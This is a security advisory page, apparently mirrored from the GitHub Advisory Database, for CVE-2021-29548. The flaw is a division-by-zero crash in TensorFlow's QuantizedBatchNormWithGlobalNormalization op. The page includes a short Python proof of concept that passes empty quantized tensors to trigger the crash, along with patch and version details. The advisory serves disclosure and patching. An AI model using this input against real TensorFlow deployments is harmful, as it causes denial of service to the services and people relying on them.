Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXA0NXYtdjRwdy03N2py

Division by 0 in `QuantizedBatchNormWithGlobalNormalization`

Impact

An attacker can cause a runtime division by zero error and denial of service in tf.raw_ops.QuantizedBatchNormWithGlobalNormalization:

import tensorflow as tf

t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)
t_min = tf.constant(-10.0, dtype=tf.float32)
t_max = tf.constant(-10.0, dtype=tf.float32)
m = tf.constant([], shape=[0], dtype=tf.quint8)
m_min = tf.constant(-10.0, dtype=tf.float32)
m_max = tf.constant(-10.0, dtype=tf.float32)
v = tf.constant([], shape=[0], dtype=tf.quint8)
v_min = tf.constant(-10.0, dtype=tf.float32)
v_max = tf.constant(-10.0, dtype=tf.float32)
beta = tf.constant([], shape=[0], dtype=tf.quint8)
beta_min = tf.constant(-10.0, dtype=tf.float32)
beta_max = tf.constant(-10.0, dtype=tf.float32)
gamma = tf.constant([], shape=[0], dtype=tf.quint8)
gamma_min = tf.constant(-10.0, dtype=tf.float32)
gamma_max = tf.constant(-10.0, dtype=tf.float32)

tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
  gamma_max=gamma_max, out_type=tf.qint32,
  variance_epsilon=0.1, scale_after_normalization=True)

This is because the implementation does not validate all constraints specified in the op's contract.

Patches

We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team

Permalink: https://github.com/advisories/GHSA-p45v-v4pw-77jr
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXA0NXYtdjRwdy03N2py
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: over 3 years ago
Updated: 21 days ago

CVSS Score: 2.5
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Identifiers: GHSA-p45v-v4pw-77jr, CVE-2021-29548
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p45v-v4pw-77jr
• https://nvd.nist.gov/vuln/detail/CVE-2021-29548
• https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b
• https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-476.yaml
• https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-674.yaml
• https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-185.yaml
• https://github.com/advisories/GHSA-p45v-v4pw-77jr

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 12.2

Affected Packages